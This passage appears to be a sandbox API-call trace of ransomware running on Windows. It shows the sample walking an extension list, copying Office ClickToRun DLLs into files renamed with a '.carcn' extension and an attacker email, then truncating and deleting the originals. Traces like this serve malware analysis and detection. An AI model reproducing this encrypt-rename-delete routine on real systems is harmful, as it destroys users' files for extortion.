4 [0293.566] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.566] lstrlenW (lpString=".docx") returned 5 [0293.566] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0293.566] lstrlenW (lpString=".pdf") returned 4 [0293.566] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.566] lstrlenW (lpString=".xls") returned 4 [0293.566] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.566] lstrlenW (lpString=".xlsx") returned 5 [0293.566] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0293.566] lstrlenW (lpString=".ppt") returned 4 [0293.566] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.566] lstrlenW (lpString=".zip") returned 4 [0293.566] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.566] lstrlenW (lpString=".rar") returned 4 [0293.566] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.566] lstrlenW (lpString=".bz2") returned 4 [0293.566] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.566] lstrlenW (lpString=".7z") returned 3 [0293.566] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.566] lstrlenW (lpString=".dbf") returned 4 [0293.566] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.566] lstrlenW (lpString=".1cd") returned 4 [0293.566] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.566] lstrlenW (lpString=".jpg") returned 4 [0293.566] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.567] lstrlenW (lpString=".doc") returned 4 [0293.567] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.567] lstrlenW (lpString=".docx") returned 5 [0293.567] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0293.567] lstrlenW (lpString=".pdf") returned 4 [0293.567] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.567] lstrlenW (lpString=".xls") returned 4 [0293.567] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.567] lstrlenW (lpString=".xlsx") returned 5 [0293.567] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0293.567] lstrlenW (lpString=".ppt") returned 4 [0293.567] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.567] lstrlenW (lpString=".zip") returned 4 [0293.567] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.567] lstrlenW (lpString=".rar") returned 4 [0293.567] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.567] lstrlenW (lpString=".bz2") returned 4 [0293.567] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.567] lstrlenW (lpString=".7z") returned 3 [0293.567] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.567] lstrlenW (lpString=".dbf") returned 4 [0293.567] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.567] lstrlenW (lpString=".1cd") returned 4 [0293.567] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.568] lstrlenW (lpString=".jpg") returned 4 [0293.568] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.568] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.568] lstrlenW (lpString="C2R32.dll") returned 9 [0293.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.568] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=820416) returned 1 [0293.568] CloseHandle (hObject=0x358) returned 1 [0293.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0293.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.569] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.569] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0293.570] GetLastError () returned 0x0 [0293.570] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0293.603] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0294.129] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.130] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0294.130] SetEndOfFile (hFile=0x334) returned 1 [0294.130] CloseHandle (hObject=0x334) returned 1 [0294.130] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.130] SetEndOfFile (hFile=0x358) returned 1 [0294.157] CloseHandle (hObject=0x358) returned 1 [0294.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.157] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0294.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.157] lstrlenW (lpString=".doc") returned 4 [0294.157] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.157] lstrlenW (lpString=".docx") returned 5 [0294.157] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0294.158] lstrlenW (lpString=".pdf") returned 4 [0294.158] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.158] lstrlenW (lpString=".xls") returned 4 [0294.158] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.158] lstrlenW (lpString=".xlsx") returned 5 [0294.158] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0294.158] lstrlenW (lpString=".ppt") returned 4 [0294.158] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.158] lstrlenW (lpString=".zip") returned 4 [0294.158] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.158] lstrlenW (lpString=".rar") returned 4 [0294.158] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.158] lstrlenW (lpString=".bz2") returned 4 [0294.158] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.158] lstrlenW (lpString=".7z") returned 3 [0294.158] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.158] lstrlenW (lpString=".dbf") returned 4 [0294.158] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.158] lstrlenW (lpString=".1cd") returned 4 [0294.158] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.158] lstrlenW (lpString=".jpg") returned 4 [0294.158] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.158] lstrlenW (lpString=".doc") returned 4 [0294.159] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.159] lstrlenW (lpString=".docx") returned 5 [0294.159] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0294.159] lstrlenW (lpString=".pdf") returned 4 [0294.159] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.159] lstrlenW (lpString=".xls") returned 4 [0294.159] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.159] lstrlenW (lpString=".xlsx") returned 5 [0294.159] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0294.159] lstrlenW (lpString=".ppt") returned 4 [0294.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.159] lstrlenW (lpString=".zip") returned 4 [0294.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.159] lstrlenW (lpString=".rar") returned 4 [0294.159] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.159] lstrlenW (lpString=".bz2") returned 4 [0294.159] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.159] lstrlenW (lpString=".7z") returned 3 [0294.159] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.159] lstrlenW (lpString=".dbf") returned 4 [0294.159] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.159] lstrlenW (lpString=".1cd") returned 4 [0294.159] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0294.159] lstrlenW (lpString=".jpg") returned 4 [0294.159] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.160] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.160] lstrlenW (lpString="C2R64.dll") returned 9 [0294.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0294.160] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1208928) returned 1 [0294.160] CloseHandle (hObject=0x358) returned 1 [0294.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0294.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.161] lstrlenW (lpString=".doc") returned 4 [0294.161] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.161] lstrlenW (lpString=".docx") returned 5 [0294.161] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0294.161] lstrlenW (lpString=".pdf") returned 4 [0294.161] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.161] lstrlenW (lpString=".xls") returned 4 [0294.161] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.161] lstrlenW (lpString=".xlsx") returned 5 [0294.161] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0294.161] lstrlenW (lpString=".ppt") returned 4 [0294.161] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.161] lstrlenW (lpString=".zip") returned 4 [0294.161] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.161] lstrlenW (lpString=".rar") returned 4 [0294.161] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.161] lstrlenW (lpString=".bz2") returned 4 [0294.161] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.161] lstrlenW (lpString=".7z") returned 3 [0294.161] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.161] lstrlenW (lpString=".dbf") returned 4 [0294.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.162] lstrlenW (lpString=".1cd") returned 4 [0294.162] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.162] lstrlenW (lpString=".jpg") returned 4 [0294.162] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.162] lstrlenW (lpString=".doc") returned 4 [0294.162] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString=".docx") returned 5 [0294.162] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0294.162] lstrlenW (lpString=".pdf") returned 4 [0294.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString=".xls") returned 4 [0294.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString=".xlsx") returned 5 [0294.162] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0294.162] lstrlenW (lpString=".ppt") returned 4 [0294.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.162] lstrlenW (lpString=".zip") returned 4 [0294.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString=".rar") returned 4 [0294.162] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.162] lstrlenW (lpString=".bz2") returned 4 [0294.162] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.162] lstrlenW (lpString=".7z") returned 3 [0294.162] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.163] lstrlenW (lpString=".dbf") returned 4 [0294.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.163] lstrlenW (lpString=".1cd") returned 4 [0294.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0294.163] lstrlenW (lpString=".jpg") returned 4 [0294.163] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.163] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.163] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0294.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0294.164] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=902328) returned 1 [0294.164] CloseHandle (hObject=0x358) returned 1 [0294.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0294.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0294.393] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.393] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0294.394] GetLastError () returned 0x0 [0294.394] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0294.515] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0295.041] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.041] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0295.041] SetEndOfFile (hFile=0x360) returned 1 [0295.041] CloseHandle (hObject=0x360) returned 1 [0295.041] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.042] SetEndOfFile (hFile=0x334) returned 1 [0295.049] CloseHandle (hObject=0x334) returned 1 [0295.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0295.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.050] lstrlenW (lpString=".doc") returned 4 [0295.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.050] lstrlenW (lpString=".docx") returned 5 [0295.050] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0295.050] lstrlenW (lpString=".pdf") returned 4 [0295.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.050] lstrlenW (lpString=".xls") returned 4 [0295.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.050] lstrlenW (lpString=".xlsx") returned 5 [0295.050] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0295.050] lstrlenW (lpString=".ppt") returned 4 [0295.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.050] lstrlenW (lpString=".zip") returned 4 [0295.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.051] lstrlenW (lpString=".rar") returned 4 [0295.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.051] lstrlenW (lpString=".bz2") returned 4 [0295.051] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.051] lstrlenW (lpString=".7z") returned 3 [0295.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.051] lstrlenW (lpString=".dbf") returned 4 [0295.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.051] lstrlenW (lpString=".1cd") returned 4 [0295.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.051] lstrlenW (lpString=".jpg") returned 4 [0295.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.051] lstrlenW (lpString=".doc") returned 4 [0295.051] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.051] lstrlenW (lpString=".docx") returned 5 [0295.051] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0295.051] lstrlenW (lpString=".pdf") returned 4 [0295.051] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.051] lstrlenW (lpString=".xls") returned 4 [0295.051] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.051] lstrlenW (lpString=".xlsx") returned 5 [0295.052] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0295.052] lstrlenW (lpString=".ppt") returned 4 [0295.052] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.052] lstrlenW (lpString=".zip") returned 4 [0295.052] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.052] lstrlenW (lpString=".rar") returned 4 [0295.052] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.052] lstrlenW (lpString=".bz2") returned 4 [0295.052] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.052] lstrlenW (lpString=".7z") returned 3 [0295.052] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.052] lstrlenW (lpString=".dbf") returned 4 [0295.052] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.052] lstrlenW (lpString=".1cd") returned 4 [0295.052] lstrcmpiW 